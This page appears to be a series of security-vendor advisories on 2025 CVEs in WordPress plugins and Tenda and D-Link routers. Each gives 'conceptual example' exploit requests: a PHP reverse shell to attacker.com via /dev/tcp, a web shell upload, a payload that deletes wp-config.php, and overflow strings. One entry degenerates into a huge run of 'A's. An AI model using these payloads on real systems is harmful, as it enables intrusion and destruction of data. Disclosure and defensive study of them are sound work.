Author: Ameeba

CVE-2015-10135: Arbitrary File Upload Vulnerability in WPshop E-Commerce Plugin for WordPress
Overview

This blog post will detail an important vulnerability that affects the WPshop 2 E-Commerce plugin for WordPress. The vulnerability, known as CVE-2015-10135, allows for arbitrary file uploads due to missing file type validation in certain versions of the plugin. This flaw can potentially lead to system compromise or data leakage, making it a serious threat to any website that uses the affected plugin. Given the widespread use of WordPress for e-commerce and the popularity of the WPshop plugin, this vulnerability poses a substantial risk to online businesses and their customers.

Vulnerability Summary

CVE ID: CVE-2015-10135
Severity: Critical (9.8/10 on the CVSS scale)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthenticated attackers can upload arbitrary files to the server potentially leading to system compromise or data leakage.

Affected Products

Product | Affected Versions

WPshop 2 E-Commerce for WordPress | All versions prior to 1.3.9.6

How the Exploit Works

The vulnerability exists in the ajaxUpload function of the WPshop plugin. This function is used to handle file uploads, but it lacks proper file type validation checks. As a result, an unauthenticated attacker can send a specially crafted HTTP request to upload any file type to the server. This includes executable files or scripts that can be run on the server, leading to remote code execution.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP POST request that uploads a malicious PHP file.
```
POST /wp-content/plugins/wpshop/includes/ajax.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i > /dev/tcp/attacker.com/4444 0>&1'"); ?>
------WebKitFormBoundary--
```
In this example, the PHP file contains a command that opens a reverse shell to the attacker’s server, effectively granting them remote access to the server.

Mitigation Advice

The vendor has addressed this vulnerability in version 1.3.9.6 of the WPshop plugin. All users are strongly advised to update to this version or later. If immediate patching is not possible, users may consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. However, these are temporary mitigations and updating the plugin should be prioritized to fully resolve the vulnerability.
July 25, 2025
CVE-2012-10019: Arbitrary File Upload Vulnerability in WordPress Front End Editor Plugin
Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a critical vulnerability, designated as CVE-2012-10019, affecting the Front End Editor plugin for WordPress. This vulnerability allows for arbitrary file uploads due to missing file type validation in versions prior to 2.3. This issue is particularly concerning for WordPress site administrators, as it allows unauthenticated attackers the ability to upload arbitrary files to the affected site’s server. This can potentially lead to remote code execution, making it a significant threat to the integrity and security of a site.

Vulnerability Summary

CVE ID: CVE-2012-10019
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Front End Editor Plugin for WordPress | versions before 2.3

How the Exploit Works

In versions of the Front End Editor plugin prior to 2.3, the upload.php file lacks necessary file type validation. This allows unauthenticated users to upload arbitrary files to the server hosting the WordPress site. These uploaded files can include scripts or other executable content that, when run on the server, can lead to remote code execution. This means that an attacker can essentially take control of the server, leading to a potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP POST request to the upload.php file with a malicious payload:
```
POST /wp-content/plugins/front-end-editor/lib/aloha-editor/plugins/extra/draganddropfiles/demo/upload.php HTTP/1.1
Host: target.example.com
Content-Length: [length]
Content-Type: multipart/form-data; boundary=[boundary]
-- [boundary]
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
-- [boundary]--
```
In this example, an unauthenticated user is uploading a PHP file that could be used to execute arbitrary commands on the server.

Mitigation Guidance

It is highly recommended to apply the vendor patch, which includes updating the Front End Editor plugin to version 2.3 or later. As a temporary mitigation, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and prevent attempts to exploit this vulnerability.
July 25, 2025
CVE-2025-7697: Critical PHP Object Injection Vulnerability in WordPress Plugin Integration
Overview

The cybersecurity world has been jolted by the discovery of a severe vulnerability, identified as CVE-2025-7697, that is making WordPress sites susceptible to a potential system compromise or data leakage. This vulnerability is associated with the WordPress plugin integration for Google Sheets and Contact Form 7, WPForms, Elementor, Ninja Forms. It primarily affects all versions up to, and including, 1.1.1. The severity of this vulnerability is significant due to the potential for unauthenticated attackers to inject a PHP Object, thereby leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-7697
Severity: Critical (CVSS score: 9.8)
Attack Vector: Network (via PHP Object Injection)
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

WordPress Plugin Integration for Google Sheets and Contact Form 7, WPForms, Elementor, Ninja Forms | Up to and including 1.1.1

How the Exploit Works

The vulnerability lies in the verify_field_val() function of the affected plugin, which deserializes untrusted input, making it susceptible to PHP Object Injection. Unauthenticated attackers can exploit this by sending a manipulated payload that allows them to inject a PHP Object. Moreover, the presence of a POP (Property-Oriented Programming) chain in the Contact Form 7 plugin, often used alongside the vulnerable plugin, amplifies the exploit. It allows the attackers to delete arbitrary files, causing a denial of service or executing remote code when the wp-config.php file is deleted.

Conceptual Example Code

The following conceptual example shows how an attacker might exploit the vulnerability. This could be a sample HTTP request containing a malicious payload:
```
POST /wp-content/plugins/vulnerable-plugin/verify_field_val HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "<?php class Injection {...}; unserialize('O:9:\"Injection\"...');" }
```
In this example, the “malicious_payload” would contain a serialized PHP object designed to exploit the PHP Object Injection vulnerability.

Mitigation Guidance

Users affected by this vulnerability are strongly advised to apply the vendor patch immediately. If for any reason immediate patching is not possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. However, these should not be viewed as long-term solutions due to the high severity of the vulnerability.
July 25, 2025
CVE-2025-7696: Critical PHP Object Injection Vulnerability in WordPress Plugin Integration
Overview

The CVE-2025-7696 vulnerability is a critical security flaw that affects the Integration for Pipedrive and Contact Form 7, WPForms, Elementor, Ninja Forms plugin for WordPress. This vulnerability has been identified as a PHP Object Injection vulnerability, which can potentially lead to a system compromise or data leakage. This vulnerability matters immensely as it exposes a wide number of websites that use this popular WordPress plugin to significant security risks, including the potential for Denial of Service (DoS) attacks and remote code execution.

Vulnerability Summary

CVE ID: CVE-2025-7696
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Integration for Pipedrive and Contact Form 7, WPForms, Elementor, Ninja Forms plugin for WordPress | Up to and including 1.2.3

How the Exploit Works

The vulnerability exists due to the unsafe deserialization of untrusted input within the verify_field_val() function in the plugin. This can allow an unauthenticated attacker to inject a malicious PHP Object into the server, leading to arbitrary code execution. When combined with a POP (Property Oriented Programming) chain in the Contact Form 7 plugin, the attacker can delete arbitrary files on the server, potentially deleting the wp-config.php file which leads to a Denial of Service attack or even remote code execution.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:
```
POST /wp-admin/admin-ajax.php?action=pipedrive_cf7_integration HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
cf7_form_id=1&form_data=O%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A5%3A%22field%22%3BO%3A11%3A%22PipedriveAPI%22%3A1%3A%7Bs%3A6%3A%22delete%22%3Bs%3A12%3A%22wp-config.php%22%3B%7D%7D
```
In this example, the attacker sends a POST request to the vulnerable endpoint with a specially crafted `form_data` parameter that contains a serialized PHP object, which when deserialized, triggers the deletion of the wp-config.php file.

Mitigation Guidance

As a mitigation measure, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help to detect and prevent exploitation attempts.
July 25, 2025
CVE-2025-7796: Critical Stack-Based Buffer Overflow in Tenda FH451 1.0.0.9
Overview

CVE-2025-7796 is a critical security vulnerability found in Tenda FH451 1.0.0.9. This vulnerability can be exploited remotely, and it could potentially compromise the system or lead to data leakage. Any organization or individual using Tenda FH451 1.0.0.9 could be affected, making it a significant concern for enterprises and individuals alike. The vulnerability resides within the function fromPptpUserAdd of the file /goform/PPTPDClient.

Vulnerability Summary

CVE ID: CVE-2025-7796
Severity: Critical, CVSS score: 8.8
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Tenda FH451 | 1.0.0.9

How the Exploit Works

CVE-2025-7796 is a stack-based buffer overflow vulnerability. It occurs when a malicious user manipulates the argument Username in the fromPptpUserAdd function of the /goform/PPTPDClient file. The system does not properly handle overly large input data, causing the buffer to overflow and allowing an attacker to execute arbitrary code or crash the system.

Conceptual Example Code

The following is a conceptual example of an HTTP request that exploits this vulnerability. It sends an overly long Username parameter to the vulnerable function:
```
GET /goform/PPTPDClient?Username=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa... HTTP/1.1
Host: target.example.com
```
In this example, the series of “a” characters is designed to overflow the buffer. The actual malicious payload would likely contain executable code that could potentially compromise the system or lead to data leakage.

Mitigation Guidance

The primary mitigation for CVE-2025-7796 is to apply the patch provided by the vendor as soon as possible. If a patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary protection by detecting and blocking attempts to exploit this vulnerability. However, these measures should only be viewed as a temporary solution, and the patch should be applied as soon as feasible to ensure the system’s security.
July 25, 2025
CVE-2025-7795: Critical Stack-Based Buffer Overflow Vulnerability in Tenda FH451
Overview

In this blog post, we will delve into the details of a critical vulnerability that has been identified in Tenda FH451 1.0.0.9. This vulnerability, which has been designated as CVE-2025-7795, affects the function fromP2pListFilter of the file /goform/P2pListFilter, and opens up potential for a stack-based buffer overflow attack. This issue is significant due to the widespread use of Tenda FH451 and the severity of the vulnerability, which could lead to a system compromise or data leakage if exploited.

Vulnerability Summary

CVE ID: CVE-2025-7795
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda FH451 | 1.0.0.9

How the Exploit Works

This vulnerability stems from an insufficient bounds check in the handling of the ‘page’ argument in the fromP2pListFilter function. An attacker can exploit this vulnerability by sending a specially crafted request with an oversized ‘page’ argument. This leads to a buffer overflow condition, allowing the attacker to execute arbitrary code or cause a denial of service.

Conceptual Example Code

Here is a simplified, conceptual example demonstrating how an attacker may exploit this vulnerability.
```
POST /goform/P2pListFilter HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
page=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
```
In this example, the ‘page’ argument is filled with an excessive amount of ‘A’s, which could overflow the stack buffer and lead to potential execution of arbitrary code.

Remediation

Tenda has acknowledged the vulnerability and released a patch to address this issue. Users are strongly advised to update their Tenda FH451 firmware to the latest version to mitigate this vulnerability. In cases where immediate patching is not feasible, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can act as a temporary measure to detect and block exploit attempts. However, these are temporary solutions and cannot completely eliminate the vulnerability, so applying the vendor’s patch should be a priority.
July 25, 2025
CVE-2025-7794: Remote Stack-based Buffer Overflow Vulnerability in Tenda FH451
Overview

A critical vulnerability has been discovered in Tenda FH451 1.0.0.9, a widely-used networking device. This vulnerability, designated as CVE-2025-7794, lies within the fromNatStaticSetting function of the /goform/NatStaticSetting file. Exploitation of this flaw could lead to a stack-based buffer overflow, potentially enabling attackers to execute arbitrary code remotely or cause a denial of service. This vulnerability is of significant concern due to the potential for system compromise or data leakage, making it essential for users of the affected product to apply the appropriate mitigations as soon as possible.

Vulnerability Summary

CVE ID: CVE-2025-7794
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda FH451 | 1.0.0.9

How the Exploit Works

The exploit targets a flaw in the fromNatStaticSetting function of the file /goform/NatStaticSetting within Tenda FH451. Specifically, the vulnerability arises when handling the ‘page’ argument, which can be manipulated to cause a stack-based buffer overflow. This overflow, in turn, can be leveraged to execute arbitrary code or cause a denial of service. Given that the attack can be launched remotely and requires no user interaction or privileges, it poses a significant risk to unpatched systems.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability could potentially be exploited:
```
POST /goform/NatStaticSetting HTTP/1.1
Host: vulnerable-device-ip
Content-Type: application/x-www-form-urlencoded
page=%s
```
In this example, an attacker would substitute ‘%s’ with a large string of characters designed to overflow the buffer, potentially leading to arbitrary code execution.

Mitigation Guidance

Users of affected versions of Tenda FH451 are advised to apply the vendor-supplied patch immediately. In the absence of a patch, temporary mitigation can be achieved by employing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to block attempts to exploit this vulnerability. However, this is only a temporary solution, and users are strongly encouraged to apply the vendor patch as soon as it becomes available.
July 25, 2025
CVE-2025-7793: Critical Vulnerability in Tenda FH451 Leading to System Compromise
Overview

A critical vulnerability, identified as CVE-2025-7793, has been discovered in Tenda FH451 1.0.0.9. This vulnerability lies in the function formWebTypeLibrary of the file /goform/webtypelibrary. It can be exploited remotely, putting a vast number of systems at risk. This vulnerability is of particular concern because it has been disclosed to the public, potentially attracting malicious actors who could exploit it to compromise systems and leak sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-7793
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Can lead to system compromise and potential data leakage

Affected Products

Product | Affected Versions

Tenda FH451 | 1.0.0.9

How the Exploit Works

The vulnerability is a stack-based buffer overflow that is triggered by manipulating the webSiteId argument in the formWebTypeLibrary function. An attacker can send a specially crafted request to the vulnerable function, causing the system to overflow its stack buffer. This can allow the attacker to execute arbitrary code or crash the system, leading to a potential system compromise.

Conceptual Example Code

Here’s a conceptual example of how an HTTP request exploiting this vulnerability might look. This is not a real exploit, but a simplified representation to help understand the vulnerability.
```
POST /goform/webtypelibrary HTTP/1.1
Host: target_ip
Content-Type: application/x-www-form-urlencoded
webSiteId=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
```
In this example, the ‘A’s represent an overly long string that is designed to overflow the buffer.

Countermeasures

The most effective countermeasure for this vulnerability is to apply the patch provided by the vendor. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help mitigate the risk temporarily by blocking or alerting on traffic that appears to be exploiting this vulnerability. However, these are only temporary solutions, and the patch should be applied as soon as practicable to fully secure the system.
July 24, 2025
CVE-2025-7792: Critical Buffer Overflow Vulnerability in Tenda FH451 1.0.0.9

Overview

The cybersecurity landscape is riddled with vulnerabilities that can be exploited, leading to serious damage to systems and data. One such vulnerability is the CVE-2025-7792, which affects the Tenda FH451 1.0.0.9. This vulnerability is severe and has been labeled as critical due to its potential to compromise systems or lead to data leakage. As such, it is of utmost importance that users and administrators of Tenda FH451 1.0.0.9 understand the implications of this vulnerability and take immediate steps to mitigate its risks.

Vulnerability Summary

CVE ID: CVE-2025-7792
Severity: Critical (8.8 CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda FH451 | 1.0.0.9

How the Exploit Works

The CVE-2025-7792 exploit works by manipulating the ‘page’ argument of the ‘formSafeEmailFilter’ function in the ‘/goform/SafeEmailFilter’ file. This manipulation leads to a stack-based buffer overflow, which can potentially allow an attacker to execute arbitrary code on the system. Since this attack can be initiated remotely, the vulnerability has a wide impact radius and can affect any system running the vulnerable version of the software.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited:
“`http
GET /goform/SafeEmailFilter?page=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

July 24, 2025
CVE-2025-7790: Critical D-Link DI-8100 Vulnerability Allows Remote Exploitation
Overview

In today’s interconnected digital world, cybersecurity vulnerabilities pose serious threats to enterprises and individuals alike. One such vulnerability, CVE-2025-7790, has recently been identified in the D-Link DI-8100 16.07.26A1. This vulnerability is particularly critical as it allows for remote exploitation, potentially putting sensitive data and system integrity at risk. It is therefore crucial for users of the affected version to understand the implications and take immediate steps to mitigate this threat.

Vulnerability Summary

CVE ID: CVE-2025-7790
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

D-Link DI-8100 | 16.07.26A1

How the Exploit Works

The vulnerability resides in an unknown part of the file /menu_nat.asp of the HTTP Request Handler component. The manipulation of the argument out_addr/in_addr/out_port/proto leads to stack-based buffer overflow. This overflow can be exploited by a remote attacker to potentially inject malicious code into the system. The exploit has been disclosed to the public and may be used.

Conceptual Example Code

Considering the information available, an attacker might exploit the vulnerability with a specially crafted HTTP request, similar to the conceptual example below:
```
POST /menu_nat.asp HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
out_addr=ATTACKER_CONTROLLED_DATA&in_addr=ATTACKER_CONTROLLED_DATA&out_port=ATTACKER_CONTROLLED_DATA&proto=ATTACKER_CONTROLLED_DATA
```
In this case, the `ATTACKER_CONTROLLED_DATA` fields would be populated with data designed to overflow the buffer, potentially allowing the attacker to execute arbitrary code.

Remediation

The best course of action to mitigate this vulnerability is to apply the vendor-supplied patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. It is also advisable to follow best practices for secure coding to prevent such vulnerabilities in the first place.
July 24, 2025